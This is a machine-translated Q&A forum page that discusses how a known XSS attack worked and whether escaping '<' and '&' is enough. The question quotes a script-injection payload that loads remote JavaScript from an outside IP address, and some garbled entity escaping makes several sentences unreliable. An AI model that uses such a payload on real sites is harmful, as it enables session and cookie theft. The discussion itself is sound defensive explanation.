2011-07-07 45 views
1

From http://www.codinghorror.com/blog/2008/08/protecting-your-cookies-httponly.htmlXSS如何工作,只要我确保我全部替换为&,然后将所有<替换为<?

这是怎么发生的? XSS,当然。这一切都是从脚本添加到用户的个人资料页面开始的。 <img src=""http://www.a.com/a.jpg<script type=text/javascript src="http://1.2.3.4:81/xss.js">" /><<img src=""http://www.a.com/a.jpg</script>"

确定这片段上方,他说的是更换所有<&lt;

所以基本上,如果用户写的东西像

<img src=""http://www.a.com/a.jpg<script type=text/javascript 
    src="http://1.2.3.4:81/xss.js">" /><<img 
    src=""http://www.a.com/a.jpg</script> 

我不明白为什么它能够XSS的如果我们只是搜索字符&并将其替换为&amp;,那么请搜索<并将其替换为&lt;

回答

1

Jeff Atwood谈论的问题是允许使用某些HTML标记。在他的情况下,他允许<img>标签。在偷偷摸摸的XSS攻击中,破解者使用了的一个图片标签,同时也丢弃了一些javascript。

由于Jeff的清洁剂允许<img>(及其属​​性),因此它跳过清洁<script>标记(可能是因为它忽略了<img>标记内的所有内容)。

如果您将替换为的实例<&lt;等,则应该是干净的。然而,要重申一下阿特伍德先生的一篇文章,“你不能仅仅摧毁每一件可疑的事情。”

+1

那它取决于场景。说清洁“,>和<就足够了并不总是正确的,例如,如果你允许用户输入一个属性值不包含引号,那么你就有麻烦了。虽然我们应该总是用属性引用,但设计师可能会不理解这些东西,还有一些其他问题涉及将用户输入放入锚标签的href属性中,如果用HTML实体替换所有的东西,那么它就更加安全和丑陋。 – Tower

1

<替换为&lt;将使标记成为标准字符串,因为它不再是标记,因为它不以开头,而是从<开始。

例如,<div>是标签,而&lt;div>不是;这只是一个字符串。这意味着任何<script>标签都被解析为字符串,从而阻止XSS。将&替换为&amp;将停止在XSS URL中正确解析参数(例如,www.url.com/index.php?foo=bar&bar=zip将变为www.url.com/index.php?foo=bar&amp;bar=zip),这不是有效的URI。

当然,这些圣洁的努力并不是全部和终止;与任何安全实施一样,将会有解决方法。

0

我相信(纠正我,如果错了请,因为安全是;))的工作。大多数情况下,问题在于开发人员正在使用blacklists instead of whitelists。当你像你一样逃避每一个标签时,你就不能输出任何HTML。但是,我认为你可以使用诸如markdown之类的东西来生成HTML。

相关问题